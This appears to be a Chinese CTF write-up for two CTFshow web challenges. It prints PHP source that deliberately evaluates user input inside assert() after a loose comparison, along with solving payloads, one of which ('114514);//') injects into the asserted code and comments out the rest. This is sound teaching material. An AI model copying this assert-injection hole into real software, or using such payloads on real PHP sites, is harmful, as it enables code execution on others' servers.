一言既出
题目来源
CTFshow-菜狗杯
考点
弱类型比较、intval转换、注释
源码
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
解题思路
通过分析源码可知,
首先需要有GET参数变量num,
其次,num参数弱比较的值为114514,
再次,num经过intval转换后值等于1919810,或不执行弱比较表达式
Payload
根据解题思路构造payload
?num=114514);//
得到flag如下
驷马难追
题目来源
CTFshow-菜狗杯
考点
弱类型比较、intval转换、过滤’)’
源码
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514 && check($_GET['num'])){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
function check($str){
return !preg_match("/[a-z]|\;|\(|\)/",$str);
}
解题思路
通过分析源码可知,
首先需要有GET参数变量num,
其次,num参数弱比较的值为114514,
再次,num经过intval转换后值等于1919810
Payload
根据解题思路构造payload
?num=114514%2B1919810-114514
得到flag如下